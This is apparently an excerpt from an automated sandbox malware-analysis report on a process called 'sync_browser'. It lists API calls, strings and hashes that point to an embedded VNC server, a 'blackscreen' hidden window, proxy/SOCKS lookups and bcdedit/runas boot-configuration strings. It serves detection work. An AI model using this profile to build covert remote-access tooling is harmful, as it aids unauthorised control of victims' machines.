PtInRect.USER32 ref: 00007FF7E50A0DCC
GetIconInfo.USER32 ref: 00007FF7E50A0E05
GetSystemMetrics.USER32 ref: 00007FF7E50A0E7F
GetSystemMetrics.USER32 ref: 00007FF7E50A0E8C
SelectObject.GDI32 ref: 00007FF7E50A0F37
CreateCompatibleDC.GDI32 ref: 00007FF7E50A0F50
CreateCompatibleDC.GDI32 ref: 00007FF7E50A0F60
SelectObject.GDI32 ref: 00007FF7E50A0F70
SelectObject.GDI32 ref: 00007FF7E50A0F80
BitBlt.GDI32 ref: 00007FF7E50A0FCD
BitBlt.GDI32 ref: 00007FF7E50A1017
SelectObject.GDI32 ref: 00007FF7E50A1027
SelectObject.GDI32 ref: 00007FF7E50A1033
SelectObject.GDI32 ref: 00007FF7E50A103F
DeleteDC.GDI32 ref: 00007FF7E50A1048
DeleteDC.GDI32 ref: 00007FF7E50A1051
SelectObject.GDI32 ref: 00007FF7E50A1067
DrawIconEx.USER32 ref: 00007FF7E50A10AA
SelectObject.GDI32 ref: 00007FF7E50A10BA
DeleteObject.GDI32 ref: 00007FF7E50A10C9
DeleteObject.GDI32 ref: 00007FF7E50A10D8
GdiFlush.GDI32 ref: 00007FF7E50A10FE
DeleteObject.GDI32 ref: 00007FF7E50A11B9
DeleteObject.GDI32 ref: 00007FF7E50A11CC

Strings

F, xrefs: 00007FF7E50A0FF1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$CompatibleCreateIconMetricsSystem$CursorDrawFlushInfoRect
String ID: F
API String ID: 2202639625-1304234792
Opcode ID: b79674502bec6eb6e9178b59d754768edd22f48091c48e79f06fd71b0c89d9c2
Instruction ID: 28d5fe7010a77502d525162c360d4022f90b30962fa77cc1d99fe6128045df51
Opcode Fuzzy Hash: b79674502bec6eb6e9178b59d754768edd22f48091c48e79f06fd71b0c89d9c2
Instruction Fuzzy Hash: 13C16236A0469A8BE750DF65E558EAE73B9FF48B84F410537EE0983708DF789844CB21

Function 00007FF7E5073F30 Relevance: 45.6, APIs: 21, Strings: 5, Instructions: 141libraryregistryloaderCOMMON

Download Yara Rule

APIs

LoadIconA.USER32 ref: 00007FF7E5073FA3
LoadCursorA.USER32 ref: 00007FF7E5073FC0
GetStockObject.GDI32 ref: 00007FF7E5073FD1
RegisterClassExA.USER32 ref: 00007FF7E5073FFB
GetSystemMetrics.USER32 ref: 00007FF7E507400B
GetSystemMetrics.USER32 ref: 00007FF7E507401B
GetSystemMetrics.USER32 ref: 00007FF7E507402B
GetSystemMetrics.USER32 ref: 00007FF7E5074036
GetSystemMetrics.USER32 ref: 00007FF7E5074041
GetSystemMetrics.USER32 ref: 00007FF7E507404C
AdjustWindowRect.USER32 ref: 00007FF7E5074088
CreateWindowExA.USER32 ref: 00007FF7E50740D0
LoadLibraryA.KERNEL32 ref: 00007FF7E50740E4
GetProcAddress.KERNEL32 ref: 00007FF7E50740F9
GetWindowLongPtrA.USER32 ref: 00007FF7E507410E
GetWindowLongPtrA.USER32 ref: 00007FF7E5074120
SetWindowLongPtrA.USER32 ref: 00007FF7E507413B
GetWindowLongPtrA.USER32 ref: 00007FF7E5074152
SetWindowLongPtrA.USER32 ref: 00007FF7E507416D
ShowWindow.USER32 ref: 00007FF7E507417F
SetWindowPos.USER32 ref: 00007FF7E50741BE

Strings

user32, xrefs: 00007FF7E50740D6
0, xrefs: 00007FF7E50741A3
blackscreen, xrefs: 00007FF7E5073FD7
P, xrefs: 00007FF7E5073F89
SetLayeredWindowAttributes, xrefs: 00007FF7E50740EF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Window$MetricsSystem$Long$Load$AddressAdjustClassCreateCursorIconLibraryObjectProcRectRegisterShowStock
String ID: 0$P$SetLayeredWindowAttributes$blackscreen$user32
API String ID: 1337014749-2363801694
Opcode ID: c8f613f4f1137cd039f0d77ff0fdd36da7c317fdbced729bc12fff3d257e6be4
Instruction ID: 525737a7d1a29e6720bf65ceafd487d536a03ab632dcd52f590bc6fcbbbcde25
Opcode Fuzzy Hash: c8f613f4f1137cd039f0d77ff0fdd36da7c317fdbced729bc12fff3d257e6be4
Instruction Fuzzy Hash: 6E714636608B8686EB20EF15F46476AB3A0FB85F54F90513AD95E83798DF3CD045CB12

Function 00007FF7E507B550 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507B030: _wgetenv.LIBCMT ref: 00007FF7E507B05E
Part of subcall function 00007FF7E507B030: _wgetenv.LIBCMT ref: 00007FF7E507B08C
Part of subcall function 00007FF7E507B030: _wgetenv.LIBCMT ref: 00007FF7E507B0DC
Part of subcall function 00007FF7E507B030: inet_ntoa.WS2_32 ref: 00007FF7E507B1C8

inet_ntoa.WS2_32 ref: 00007FF7E507B5B8
free.LIBCMT ref: 00007FF7E507B5D4
_wgetenv.LIBCMT ref: 00007FF7E507B682
free.LIBCMT ref: 00007FF7E507B5CC

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

inet_ntoa.WS2_32 ref: 00007FF7E507B59C

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

_wgetenv.LIBCMT ref: 00007FF7E507B60D
_wgetenv.LIBCMT ref: 00007FF7E507B665
_wgetenv.LIBCMT ref: 00007FF7E507B6B0
_wgetenv.LIBCMT ref: 00007FF7E507B701
_wgetenv.LIBCMT ref: 00007FF7E507B738
_wgetenv.LIBCMT ref: 00007FF7E507B766
free.LIBCMT ref: 00007FF7E507B893

Strings

http://, xrefs: 00007FF7E507B7BE
SOCKS_RESOLVE, xrefs: 00007FF7E507B75F, 00007FF7E507B773
SOCKS5_SERVER, xrefs: 00007FF7E507B65E, 00007FF7E507B672
SOCKS_SERVER, xrefs: 00007FF7E507B6A9, 00007FF7E507B6BD
SOCKS5_RESOLVE, xrefs: 00007FF7E507B6FA, 00007FF7E507B70E
HTTP_PROXY, xrefs: 00007FF7E507B606, 00007FF7E507B61A
SOCKS4_SERVER, xrefs: 00007FF7E507B67B, 00007FF7E507B68F
SOCKS4_RESOLVE, xrefs: 00007FF7E507B731, 00007FF7E507B745

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _wgetenv$freeinet_ntoa$ErrorFreeHeapLast_errnomalloc
String ID: HTTP_PROXY$SOCKS4_RESOLVE$SOCKS4_SERVER$SOCKS5_RESOLVE$SOCKS5_SERVER$SOCKS_RESOLVE$SOCKS_SERVER$http://
API String ID: 3609861302-2295524587
Opcode ID: 198aee5947f50ad03e8d7cc14805ac6ff2a6e37fde4bc76060f889befd90e49f
Instruction ID: ef5082032136ac5392c64d73e9511c99f89015550c92b417316ac36d1cef527a
Opcode Fuzzy Hash: 198aee5947f50ad03e8d7cc14805ac6ff2a6e37fde4bc76060f889befd90e49f
Instruction Fuzzy Hash: EFA16E25A0968A85FE55BB34E5713B9A390AF54F84FC84437EA0D87799FE3CE441C322

Function 00007FF7E509F040 Relevance: 35.2, APIs: 5, Strings: 15, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50DA5B0: GetCurrentThreadId.KERNEL32 ref: 00007FF7E50DA5E1
Part of subcall function 00007FF7E50DA5B0: GetThreadDesktop.USER32 ref: 00007FF7E50DA5E9
Part of subcall function 00007FF7E50DA5B0: OpenInputDesktop.USER32 ref: 00007FF7E50DA5FC

GetCurrentThreadId.KERNEL32 ref: 00007FF7E509F15A
GetThreadDesktop.USER32 ref: 00007FF7E509F162
GetUserObjectInformationA.USER32 ref: 00007FF7E509F185

Part of subcall function 00007FF7E50DA4A0: OpenDesktopA.USER32 ref: 00007FF7E50DA4ED

DeleteObject.GDI32 ref: 00007FF7E509F2F7
InvalidateRect.USER32 ref: 00007FF7E509F330

Strings

vncdesktop.cpp : Break log, xrefs: 00007FF7E509F21C
vncdesktop.cpp : InitDesktop..., xrefs: 00007FF7E509F06D
vncdesktop.cpp : ThunkBitmapInfo Failed, xrefs: 00007FF7E509F25A
vncdesktop.cpp : InitVideo driver Called, xrefs: 00007FF7E509F0C0
vncdesktop.cpp : Removing real Dib buffer and replace by driver communication buffer, xrefs: 00007FF7E509F2D3
vncdesktop.cpp : SetPixShift Failed, xrefs: 00007FF7E509F378
vncdesktop.cpp : Driver option enabled , xrefs: 00007FF7E509F14E
Default, xrefs: 00007FF7E509F197
vncdesktop.cpp : SetPixFormat Failed, xrefs: 00007FF7E509F34D
vncdesktop.cpp : no default desktop , xrefs: 00007FF7E509F1C4
vncdesktop.cpp : Driver option disabled , xrefs: 00007FF7E509F1E8
vncdesktop.cpp : InitBitmap Failed, xrefs: 00007FF7E509F242
vncdesktop.cpp : InitDesktop Failed, xrefs: 00007FF7E509F0A0
vncdesktop.cpp : SetPalette Failed, xrefs: 00007FF7E509F3A1
vncdesktop.cpp : EnableOptimisedBlits Failed, xrefs: 00007FF7E509F2AD

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DesktopThread$CurrentObjectOpen$DeleteInformationInputInvalidateRectUser
String ID: Default$vncdesktop.cpp : Break log$vncdesktop.cpp : Driver option disabled $vncdesktop.cpp : Driver option enabled $vncdesktop.cpp : EnableOptimisedBlits Failed$vncdesktop.cpp : InitBitmap Failed$vncdesktop.cpp : InitDesktop Failed$vncdesktop.cpp : InitDesktop...$vncdesktop.cpp : InitVideo driver Called$vncdesktop.cpp : Removing real Dib buffer and replace by driver communication buffer$vncdesktop.cpp : SetPalette Failed$vncdesktop.cpp : SetPixFormat Failed$vncdesktop.cpp : SetPixShift Failed$vncdesktop.cpp : ThunkBitmapInfo Failed$vncdesktop.cpp : no default desktop
API String ID: 421987145-2663527212
Opcode ID: 708c932f2a283d5bbc71d608cba7ab1ab0c10d4bb7afa53f10560fd6fcd4028b
Instruction ID: c36656530460564b626b5ad881aa9947d26baa9cae17f3eb3b5746eaf2181768
Opcode Fuzzy Hash: 708c932f2a283d5bbc71d608cba7ab1ab0c10d4bb7afa53f10560fd6fcd4028b
Instruction Fuzzy Hash: 70A10C71A0868B85FA61BB28E4603F9A350EB84F44FD44437E90EC6299DF7CE549C362

Function 00007FF7E50837E0 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 127COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E5083813
GetEnvironmentVariableA.KERNEL32 ref: 00007FF7E5083835
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E5083887
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50838CF
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E5083921
SetFileAttributesA.KERNEL32 ref: 00007FF7E5083930
GetEnvironmentVariableA.KERNEL32 ref: 00007FF7E508394E
GetForegroundWindow.USER32 ref: 00007FF7E50839F5
ShellExecuteExA.SHELL32 ref: 00007FF7E5083A2F

Strings

\system32\, xrefs: 00007FF7E5083991
runas, xrefs: 00007FF7E5083A03
operating systems, xrefs: 00007FF7E50838C0, 00007FF7E5083917
bcdedit.exe, xrefs: 00007FF7E50839C7
/boot.ini, xrefs: 00007FF7E5083852
boot loader, xrefs: 00007FF7E508386B
SystemRoot, xrefs: 00007FF7E508393F
eboot, xrefs: 00007FF7E50839DB
SYSTEMDRIVE, xrefs: 00007FF7E508382E
default, xrefs: 00007FF7E5083859

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfileString$EnvironmentVariable$AttributesExecuteFileForegroundShellVersionWindowWrite
String ID: /boot.ini$SYSTEMDRIVE$SystemRoot$\system32\$bcdedit.exe$boot loader$default$eboot$operating systems$runas
API String ID: 3443580464-3826360582
Opcode ID: 8f405f99423453285309b5ba9db0ae769014fde6afb609773d47d48ac683e545
Instruction ID: d581e0f478767c319a47dc33bec81c27e88c4f0a4919594bd58b274980d931ff
Opcode Fuzzy Hash: 8f405f99423453285309b5ba9db0ae769014fde6afb609773d47d48ac683e545
Instruction Fuzzy Hash: 18613C35A04B8A99E720DF64F8513E973A0FB48768F801233EA6D866D8EF3CD105C351

Function 00007FF7E507CF80 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 254libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E507CFD1
GetProcAddress.KERNEL32 ref: 00007FF7E507CFE9
FreeLibrary.KERNEL32 ref: 00007FF7E507D00C
GlobalFree.KERNEL32 ref: 00007FF7E507D01C
GlobalFree.KERNEL32 ref: 00007FF7E507D02C
WideCharToMultiByte.KERNEL32 ref: 00007FF7E507D06A
GlobalFree.KERNEL32 ref: 00007FF7E507D075
swscanf.LIBCMT ref: 00007FF7E507D263
swscanf.LIBCMT ref: 00007FF7E507D2F7
swscanf.LIBCMT ref: 00007FF7E507D307

Strings

https=, xrefs: 00007FF7E507D0EE, 00007FF7E507D1AE
443, xrefs: 00007FF7E507D328, 00007FF7E507D33B
http=, xrefs: 00007FF7E507D0B2, 00007FF7E507D176
P, xrefs: 00007FF7E507D221
winhttp.dll, xrefs: 00007FF7E507CFC8
WinHttpGetIEProxyConfigForCurrentUser, xrefs: 00007FF7E507CFDF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Free$Globalswscanf$Library$AddressByteCharLoadMultiProcWide
String ID: 443$P$WinHttpGetIEProxyConfigForCurrentUser$http=$https=$winhttp.dll
API String ID: 3955186772-955988753
Opcode ID: f80e017f8dfc52864f10a9d1c006d943c54cd3b71a26042b83a3869f240b4edf
Instruction ID: 0127c83b7d96475a763920602842d88a4973185872b221dce2fa432071ca7372
Opcode Fuzzy Hash: f80e017f8dfc52864f10a9d1c006d943c54cd3b71a26042b83a3869f240b4edf
Instruction Fuzzy Hash: 22B1B422A0C78991EB10FB34E4603B9A791FB45B94FD44136EA4D87AC9DF3CD506C722

Function 00007FF7E50900F0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 123COMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FF7E509014B
getpeername.WS2_32 ref: 00007FF7E5090191
free.LIBCMT ref: 00007FF7E50901E2
free.LIBCMT ref: 00007FF7E50901DA

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

inet_ntoa.WS2_32 ref: 00007FF7E509019B

Part of subcall function 00007FF7E5129700: _errno.LIBCMT ref: 00007FF7E5129712
Part of subcall function 00007FF7E5129700: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512971D

inet_ntoa.WS2_32 ref: 00007FF7E5090155

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

getsockname.WS2_32 ref: 00007FF7E509022C
inet_ntoa.WS2_32 ref: 00007FF7E5090236
getpeername.WS2_32 ref: 00007FF7E5090272
inet_ntoa.WS2_32 ref: 00007FF7E509027C
free.LIBCMT ref: 00007FF7E50902B3
free.LIBCMT ref: 00007FF7E50902BB

Strings

<unavailable>, xrefs: 00007FF7E509015B, 00007FF7E509023C
Local loop-back connections are disabled., xrefs: 00007FF7E5090204
vncclient.cpp : loopback connection attempted - client rejected, xrefs: 00007FF7E50901EF
vncclient.cpp : loopback connection attempted - client accepted, xrefs: 00007FF7E50902C4

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: freeinet_ntoa$_errnogetpeernamegetsockname$ErrorFreeHeapLast_invalid_parameter_noinfomalloc
String ID: <unavailable>$Local loop-back connections are disabled.$vncclient.cpp : loopback connection attempted - client accepted$vncclient.cpp : loopback connection attempted - client rejected
API String ID: 3199031719-36275550
Opcode ID: c44d7390c6da1f5effd3baa685ac2797441d9ecea07109d0da10d2a128be3049
Instruction ID: 92af3cdc1c44095a1571fb98b527b0d40a5f1132a77e01efcb084f14b9f3643b
Opcode Fuzzy Hash: c44d7390c6da1f5effd3baa685ac2797441d9ecea07109d0da10d2a128be3049
Instruction Fuzzy Hash: 1E517F2670874A86EA64FB25F4603B9A3A0FF88F84F844036E94D87759DF3CE145C712

Function 00007FF7E50DA5B0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 117threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7E50DA5E1
GetThreadDesktop.USER32 ref: 00007FF7E50DA5E9
OpenInputDesktop.USER32 ref: 00007FF7E50DA5FC
GetLastError.KERNEL32 ref: 00007FF7E50DA61A
GetUserObjectInformationA.USER32 ref: 00007FF7E50DA68D
CloseDesktop.USER32 ref: 00007FF7E50DA69A

Strings

vncservice.cpp : OpenInputDesktop %i I, xrefs: 00007FF7E50DA620
vncservice.cpp : !GetUserObjectInformation(inputdesktop, xrefs: 00007FF7E50DA724
vncservice.cpp : !GetUserObjectInformation(threaddesktop, xrefs: 00007FF7E50DA6B9
vncservice.cpp : failed to close input desktop, xrefs: 00007FF7E50DA6A4, 00007FF7E50DA70F, 00007FF7E50DA737
vncservice.cpp : OpenInputDesktop II, xrefs: 00007FF7E50DA652
vncservice.cpp : threadname, inputname differ, xrefs: 00007FF7E50DA777

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseCurrentErrorInformationInputLastObjectOpenUser
String ID: vncservice.cpp : !GetUserObjectInformation(inputdesktop$vncservice.cpp : !GetUserObjectInformation(threaddesktop$vncservice.cpp : OpenInputDesktop %i I$vncservice.cpp : OpenInputDesktop II$vncservice.cpp : failed to close input desktop$vncservice.cpp : threadname, inputname differ
API String ID: 55935355-432259686
Opcode ID: 1e6938374f11850d6f65cb4abe64859311d8d6483033998e6a50ab09662977c7
Instruction ID: 4f779c38e57cfc9fb890e2240c6967f4b0889570ac571efbee72a558253a9de0
Opcode Fuzzy Hash: 1e6938374f11850d6f65cb4abe64859311d8d6483033998e6a50ab09662977c7
Instruction Fuzzy Hash: A4514131A0868B82FB60BB71B9647B5A3A1AF44F84FC04437E54DC2658EE3CE505D762

Function 00007FF7E50A3260 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 89threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7E50A3282
GetThreadDesktop.USER32 ref: 00007FF7E50A328A
GetUserObjectInformationA.USER32 ref: 00007FF7E50A32CF
ResetEvent.KERNEL32 ref: 00007FF7E50A3333
CreateThread.KERNEL32 ref: 00007FF7E50A3359
WaitForSingleObject.KERNEL32 ref: 00007FF7E50A3372
TerminateThread.KERNEL32 ref: 00007FF7E50A33A3
CloseHandle.KERNEL32 ref: 00007FF7E50A33B0

Strings

vncdesktopsink.cpp : StartInitWindowthread , xrefs: 00007FF7E50A3290
vncdesktopsink.cpp : StartInitWindowthread default desk, xrefs: 00007FF7E50A3312
vncdesktopsink.cpp : ERROR: initwindowthread failed to start , xrefs: 00007FF7E50A3389
vncdesktopsink.cpp : StartInitWindowthread started, xrefs: 00007FF7E50A33CD
vncdesktopsink.cpp : StartInitWindowthread reactivate, xrefs: 00007FF7E50A33E2
